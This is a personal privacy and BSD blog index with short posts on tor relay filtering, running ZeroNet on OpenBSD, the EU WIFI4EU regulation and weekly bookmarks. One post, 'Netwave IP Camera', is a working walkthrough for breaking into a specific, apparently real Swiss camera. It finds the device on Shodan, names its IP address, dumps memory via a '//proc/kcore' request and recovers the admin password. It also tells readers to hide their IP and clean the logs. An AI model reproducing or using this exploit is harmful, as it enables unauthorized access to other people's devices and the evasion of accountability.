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Clematis


Vegan, privacy advocate and passionate BSD user.

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Where the time goes?

on Sep 28, 2018

Damn... where is the time going? I need things to slow down to have a chance to make some progress on all my projects. Hopefully things will get more quiet as winter comes. Arm64, tor, openbsd... load on the list.

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100% packet loss

on Aug 09, 2018

Bloody hell...time travelling is great fun.... but I've struggled a bit to come back here. But here I am back in 2018! So, what's going? Well I do have a few sexy projects in my head that will start being released this winter (Summer isn't my most productive season). But yeah I do plan to resume a bit of Zeronet blogging... So..stay tuned!

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Video: How to decrypt french encryption law.

on Dec 28, 2017

Here is a good video to watch to understand a bit better the French encryption law.
#french #encryption #law #34c3

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Bookmark 10/12/2017

on Dec 10, 2017
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Bookmark 03/12/2017

on Dec 03, 2017
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Bookmark 19/11/2017

on Nov 19, 2017
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Bookmark 12/11/2017

on Nov 12, 2017
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Netwave IP Camera

on Nov 08, 2017

Quick demo on how to get into Netwave IP camera.
As for many internet of shit story it all starts on shodan.io
Search for: netwave country:"CH"
Don't ask me why the swiss...:o)

http://212.90.194.102:8080

Here's one... you can try with the default login "admin" and no password.... nope doesn't work... never mind. Add "//proc/kcore" at the end of the address. ```

http://212.90.194.102:8080//proc/kcore

Here we are...you need 4~5MB of this (pretty much half of it) you should probably wget it rather than trying to download it through the browser.
Open it and search for the username admin, not far away you'll find the password in clear text.

@^@000DC5D64C67^@^K%^B.^B^D^P^B^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@admin^@^@^@^@^@^@^@^@admin^@^@^@^@^

ahahaha admin as a password for the admin account...not sure that's much better than keeping the default empty password...
cheeses.... anyway.. that's it... you've got the idea...
Of course you take the usual preventive measure to hide your real IP...and you clean the log...and you don't do nasty things!

#ipcam #failed

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Bookmark 06/11/2017

on Nov 06, 2017
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Next gen tor onion services.

on Nov 02, 2017

Time to read it since this has now been released and we can get our hands on an alpha version.
The blog article on this next generation onion services

And some more technical details with a cool code name - prop224
#tor #onion #clearnet #prop224

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Bookmark 28/10/2017

on Oct 28, 2017
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WIFI4EU

on Oct 27, 2017

On the 25th of October 2017, the EU officially signed the WIFI4EU Regulation, intended to promote Internet connectivity in local communities. By ignoring the open letter of the European open-Wifi community, this Regulation undermines the telecom ecosystem diversity. It dismisses the promotion of non-profit Internet Service Provider and enforces an authentication mechanism, forbidding what could have been free and open WiFi hotspots.

Read more on LQDN: WIFI4EU will not be "free"

#failed #politics #europe #bullshit #wifi4eu

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Run ZeroNet on OpenBSD

on Oct 27, 2017 · 1 min read

Wanna run Zeronet on OpenBSD but it's not documented? Don't you worry about it, it couldn't be easier!

### Let's install the pre-required packages
pkg_add -v python-2.7 py-gevent py-msgpack
### Let's download ZeroNet from github
ftp [https://github.com/HelloZeroNet/ZeroNet/archive/master.tar.gz](https://github.com/HelloZeroNet/ZeroNet/archive/master.tar.gz)
### Extract the ZeroNet tarball
tar xvfz master.tar.gz
### Ready, Steady, GO!
cd ./ZeroNet-master/
python2.7 zeronet.py

I told you it was easy!
Ok so here is some extra tips.

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How to filter tor relays

on Oct 27, 2017 · 3 min read

I thought I would re-share quickly how to filter tor relay per country to specifically exclude some of them. Typically the unfriendly location (US, GB...) and how to specify some closer European exit only. Simply add these three lines to your torrc config file.

ExcludeNodes {us},{gb},{ie},{ru},{jp},{im},{il}
ExitNodes {fr},{ch},{de},{nl},{be},{cz},{ro},{is},{md},{pl},{ua}
StrictNodes 1

Your torrc config file should be in ~/TorBrowser-Data/Data/torrc if you're using the tor-browser or in /etc/tor/torrc if you're using the standard tor daemon.

#tor #howto

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What are you likely to find on this blog?

on Oct 27, 2017

Hello,
Well, since I am starting this from scratch I though you might want to know what you can expect to find posted here.

  • Personal comment and link to actualities that matters to me and make me react.
  • A weekly post called "Bookmark" where I will re-share some links on various article I end up reading that week and found interesting. Topics will always be around unix, opensource, infosec, BSD ... always a bit nerdy.
  • Some quick "Howto" which could be very short where I kind of re-share quick tips on a specific topic. Likely to be around OpenBSD and other piece of software or hardware I end up playing with.
    Feel free to comment at any time or to contact me directly.
    Take it easy.
    -- clematis
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